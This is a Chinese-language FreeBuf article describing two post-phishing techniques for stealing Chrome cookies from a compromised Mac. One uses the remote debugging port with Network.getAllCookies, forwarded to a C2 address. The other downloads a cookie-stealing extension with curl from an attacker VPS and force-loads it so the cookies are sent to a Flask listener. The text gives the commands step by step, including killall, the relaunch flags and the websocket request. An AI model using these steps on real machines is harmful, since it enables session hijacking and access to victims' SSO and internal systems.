freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Mac浏览器下cookie获取的两个思路
2022-04-07 10:36:37
所属地 江苏省

Windows系统密码和cookie获取比较容易,用工具即可,但Mac下浏览器密码获取较难。

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

背景

当我们通过钓鱼等方式拿到单位员工的个人PC机时,通常需要对主机进行信息收集。而浏览器是一个重要的信息收集点。我们可以收集历史记录、书签寻找靶机。窃取密码登录SSO、内部OA等等关键系统。但是在MAC下,因为系统的安全性,想要获取密码存在比较大的困难。

在 macOS 上,Google Chrome 的加密密钥存储在 Keychain 中,需要使用用户的明文密码解锁。

在 Windows 上,Google Chrome 版本 80+ 使用使用 DPAPI 加密的 AES-256 密钥加密 cookie。解密时不需密码。

windows下密码和cookie获取比较容易,一般上工具(HackBrowserData)就行,这里不多说。mac下的浏览器密码不好获取。mac下因为系统安全性受限,使用相关工具会弹输入用户密码的框。看下面的弹窗提示,一下就暴露了,一般人也不会点允许。

因此我们得曲线救国,比如说获取cookie。这里提供两种方法:

思路一:无头浏览器远程调试

为了便于调试和自动化,chrome内核的浏览器支持远程调试,然后可以直接调用调试接口获取cookie。网上的资料几乎大都是使用--headless无头模式利用,但本人在mac pro、最新版chrome浏览器却无法复现。

使用headless无头浏览器模式会爆如下的错误:

在一个老外的文章里找到了原因:

然后curl接口,不并无相关数据显示

第一步

  1. ps aux|grep Chrome 观察浏览器是否在运行。
  2. 若浏览器在运行,执行:killall "Google Chrome" 杀掉浏览器进程
  3. 马上在第二步命令后加上--restore-last-session,还原浏览器最近浏览的选项卡。
  4. 若浏览器未在运行,直接执行第二步,获取到cookie后 杀掉进程即可

第二步

启动chrome内核浏览器,开启指定调试端口

/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --user-data-dir="/Users/用户名/Library/Application Support/Google/Chrome"

第三步

查看调试端口

curl -s localhost:9222/json

第四步

使用相关websocket工具(这里为了方便演示,直接使用了插件Simple WebSocket Client,入侵时候把调试端口用代理转发到本地,localhost改成c2 ip就好。若不想代理,命令行下websocket的相关工具还有wsc、python模块等),

从第三步获取的结果中,任选一个webSocketDebuggerUrl,发送{"id": 1, "method": "Network.getAllCookies"}

成功获取所有cookie

思路二:命令行加载恶意拓展

第二个思路来源是网上看到新闻,存在chrome 恶意插件盗取用户的cookie,因此查找相关资料进行学习。

令人惊喜的是,有位师傅github有直接写好获取cookie的插件

https://github.com/saucer-man/chrome_get_cookie

因此这里我们直接调用上面的插件脚本进行利用

第一步

vps起一个flask服务器监听,接受cookies数据

第二步

使用curl或者wget下载恶意chrome插件文件夹到肉鸡电脑,

curl http://X.X.X.X/cookie.zip -o /tmp/cookie.zip
unzip cookie.zip

第三步

用户未打开浏览器的情况,或我们直接杀掉浏览器进程:

killall "Google Chrome"

然后执行命令,使chromer浏览器加载我们的拓展

/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --load-extension=/tmp/cookie --user-data-dir="/Users/用户名/Library/Application Support/Google/Chrome" --restore-last-session

加载后会打开chromer浏览器

vps服务器也同步接收到了数据,保存cookie.json文件在当前目录

用户已打开浏览器的时候,因为两个正在运行的 Chrome 实例不能共享同一个用户数据目录,因此用上面方法就行不通了。

网上有方法是把用户数据复制到另一个目录,但复现未成功,打开的是没用户数据的chrome浏览器。

首先使用cp命令复制文件夹到tmp目录

cp -R ~/Library/Application\ Support/Google/Chrome/Default ~/tmp

使用--user-data命令,指定用户数据执行命令

/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --user-data-dir=~/tmp --load-extension=/Users/用户名/Desktop/tools/redteam/chrome_get_cookie

弹出来的是空白浏览器:

接收不到cookie

参考链接:

tps://saucer-man.com/information_security/787.html

https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e

https://embracethered.com/blog/posts/2020/firefox-cookie-debug-client/(firefox)

注意

killall "Google Chrome" 关闭chrome浏览器进程的命令

浏览器命令行相关参数:

--headless 无头模式

--restore-last-session 浏览器崩溃后,恢复浏览器的最近浏览的选项卡

--load-extension 加载的拓展插件文件夹路径

--remote-debugging-port=xxx 远程调试的端口

--user-data-dir 表示加载用户浏览器数据文件夹,没有指定数据目录,打开的会是全新无痕的chrome

chrome 用户数据配置文件夹保存路径:

Mac OS X: ~/Library/Application Support/Google/Chrome/Default

Windows XP: Documents and SettingsusernameLocal SettingsApplication DataGoogleChromeUser DataDefault

Windows 7: C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default

Linux: ~/.config/google-chrome/Default

Ubuntu: ~/.config/google-chrome 或 ~/.config/chromium


# web安全 # 系统安全 # 内网渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录